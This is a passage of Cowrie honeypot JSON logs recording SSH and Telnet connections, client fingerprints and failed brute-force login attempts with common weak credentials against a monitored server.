128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:36.906670Z","src_ip":"122.168.114.167","session":"b6db9c9b699a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":34346,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b5f76a97a6a","protocol":"telnet","message":"New connection: 185.26.126.47:34346 (159.203.135.109:23) [session: 0b5f76a97a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:47.295075Z"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:54.508101Z","src_ip":"122.168.114.167","session":"b6db9c9b699a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.9","message":"Connection lost after 26.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:44:59.641054Z","src_ip":"122.168.114.167","session":"b6db9c9b699a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34306,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cd75dc21ef5","protocol":"ssh","message":"New connection: 159.203.92.129:34306 (159.203.135.109:22) [session: 1cd75dc21ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:09.802849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:09.807674Z","src_ip":"159.203.92.129","session":"1cd75dc21ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:09.813385Z","src_ip":"159.203.92.129","session":"1cd75dc21ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appv10g","password":"appv10g","message":"login attempt [appv10g/appv10g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:09.827544Z","src_ip":"159.203.92.129","session":"1cd75dc21ef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:10.834884Z","src_ip":"159.203.92.129","session":"1cd75dc21ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":42700,"dst_ip":"159.203.135.109","dst_port":22,"session":"d886b2b8d121","protocol":"ssh","message":"New connection: 122.168.114.167:42700 (159.203.135.109:22) [session: d886b2b8d121]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:10.874549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:15.077744Z","src_ip":"122.168.114.167","session":"d886b2b8d121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:15.083442Z","src_ip":"122.168.114.167","session":"d886b2b8d121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.32916617393494,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:29.624044Z","src_ip":"185.26.126.47","session":"0b5f76a97a6a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"123456","message":"login attempt [ftpuser1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:34.155768Z","src_ip":"122.168.114.167","session":"d886b2b8d121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.9","message":"Connection lost after 28.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:39.779708Z","src_ip":"122.168.114.167","session":"d886b2b8d121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":45110,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea0da3bc1ed7","protocol":"ssh","message":"New connection: 122.168.114.167:45110 (159.203.135.109:22) [session: ea0da3bc1ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:48.170931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:52.603187Z","src_ip":"122.168.114.167","session":"ea0da3bc1ed7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:52.607661Z","src_ip":"122.168.114.167","session":"ea0da3bc1ed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37932,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e29492be16c","protocol":"ssh","message":"New connection: 159.203.92.129:37932 (159.203.135.109:22) [session: 2e29492be16c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:54.895375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:54.902016Z","src_ip":"159.203.92.129","session":"2e29492be16c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:54.907333Z","src_ip":"159.203.92.129","session":"2e29492be16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appv10s","password":"123456","message":"login attempt [appv10s/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:54.920021Z","src_ip":"159.203.92.129","session":"2e29492be16c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:45:55.926332Z","src_ip":"159.203.92.129","session":"2e29492be16c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:13.745336Z","src_ip":"122.168.114.167","session":"ea0da3bc1ed7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.0","message":"Connection lost after 31.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:19.151463Z","src_ip":"122.168.114.167","session":"ea0da3bc1ed7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":47518,"dst_ip":"159.203.135.109","dst_port":22,"session":"73d94fd25c1b","protocol":"ssh","message":"New connection: 122.168.114.167:47518 (159.203.135.109:22) [session: 73d94fd25c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:27.721069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:32.108521Z","src_ip":"122.168.114.167","session":"73d94fd25c1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:32.112276Z","src_ip":"122.168.114.167","session":"73d94fd25c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":62540,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b341292acae","protocol":"ssh","message":"New connection: 213.209.159.159:62540 (10.17.0.5:22) [session: 6b341292acae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:38.648977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:39.201576Z","src_ip":"213.209.159.159","session":"6b341292acae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:39.279854Z","src_ip":"213.209.159.159","session":"6b341292acae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"hasan","message":"login attempt [hasan/hasan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:39.678240Z","src_ip":"213.209.159.159","session":"6b341292acae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41094,"dst_ip":"159.203.135.109","dst_port":22,"session":"272018a00c2e","protocol":"ssh","message":"New connection: 159.203.92.129:41094 (159.203.135.109:22) [session: 272018a00c2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:40.289934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:40.295669Z","src_ip":"159.203.92.129","session":"272018a00c2e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:40.299615Z","src_ip":"159.203.92.129","session":"272018a00c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appv10s","password":"appv10s","message":"login attempt [appv10s/appv10s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:40.307757Z","src_ip":"159.203.92.129","session":"272018a00c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"hasan1","message":"login attempt [hasan/hasan1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:40.776826Z","src_ip":"213.209.159.159","session":"6b341292acae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:41.312655Z","src_ip":"159.203.92.129","session":"272018a00c2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"hasan123","message":"login attempt [hasan/hasan123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:41.859624Z","src_ip":"213.209.159.159","session":"6b341292acae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"hasan1234","message":"login attempt [hasan/hasan1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:42.943288Z","src_ip":"213.209.159.159","session":"6b341292acae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hasan","password":"hasan12345","message":"login attempt [hasan/hasan12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:44.026623Z","src_ip":"213.209.159.159","session":"6b341292acae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:45.109997Z","src_ip":"213.209.159.159","session":"6b341292acae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"newuser","message":"login attempt [newuser/newuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:52.717895Z","src_ip":"122.168.114.167","session":"73d94fd25c1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"31.7","message":"Connection lost after 31.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:46:59.400583Z","src_ip":"122.168.114.167","session":"73d94fd25c1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49924,"dst_ip":"159.203.135.109","dst_port":22,"session":"855f0d15780c","protocol":"ssh","message":"New connection: 122.168.114.167:49924 (159.203.135.109:22) [session: 855f0d15780c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:05.374653Z"}
